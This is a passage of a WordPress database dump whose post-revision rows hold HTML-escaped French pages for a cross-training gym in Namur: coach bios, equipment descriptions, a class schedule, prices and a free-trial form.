alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:59:08', '2013-07-03 19:59:08', '', 20, 'http://www.crosstrainingcenter.be/?p=269', 0, 'revision', '', 0),
(270, 1, '2013-07-03 19:06:30', '2013-07-03 19:06:30', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-03 19:06:30', '2013-07-03 19:06:30', '', 22, 'http://www.crosstrainingcenter.be/?p=270', 0, 'revision', '', 0),
(271, 1, '2013-07-03 20:01:27', '2013-07-03 20:01:27', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 20:01:27', '2013-07-03 20:01:27', '', 11, 'http://www.crosstrainingcenter.be/?p=271', 0, 'revision', '', 0),
(272, 1, '2013-07-03 19:06:31', '2013-07-03 19:06:31', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-03 19:06:31', '2013-07-03 19:06:31', '', 5, 'http://www.crosstrainingcenter.be/?p=272', 0, 'revision', '', 0),
(273, 1, '2013-07-03 19:11:58', '2013-07-03 19:11:58', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-8', '', '', '2013-07-03 19:11:58', '2013-07-03 19:11:58', '', 214, 'http://www.crosstrainingcenter.be/?p=273', 0, 'revision', '', 0),
(274, 1, '2013-07-03 20:43:50', '2013-07-03 20:43:50', 'Venez découvrir les bienfaits du cross training lors d\'une première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-07-03 20:43:50', '2013-07-03 20:43:50', '', 266, 'http://www.crosstrainingcenter.be/?p=274', 0, 'revision', '', 0),
(275, 1, '2014-08-31 07:37:27', '2014-08-31 07:37:27', '&lt;blockquote&gt;\n&lt;h1&gt;Prise de RDV pour une séance booster :&lt;/h1&gt;\n&lt;/blockquote&gt;\nVenez nous rencontrer afin de découvrir le déroulement d\'une séance de cross training.\n\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre première séance gratuite.\n\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-autosave-v1', '', '', '2014-08-31 07:37:27', '2014-08-31 07:37:27', '', 266, 'http://www.crosstrainingcenter.be/?p=275', 0, 'revision', '', 0),
(276, 1, '2013-07-03 20:45:08', '2013-07-03 20:45:08', 'Venez découvrir les bienfaits du cross training lors d\'une première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-07-03 20:45:08', '2013-07-03 20:45:08', '', 266, 'http://www.crosstrainingcenter.be/?p=276', 0, 'revision', '', 0),
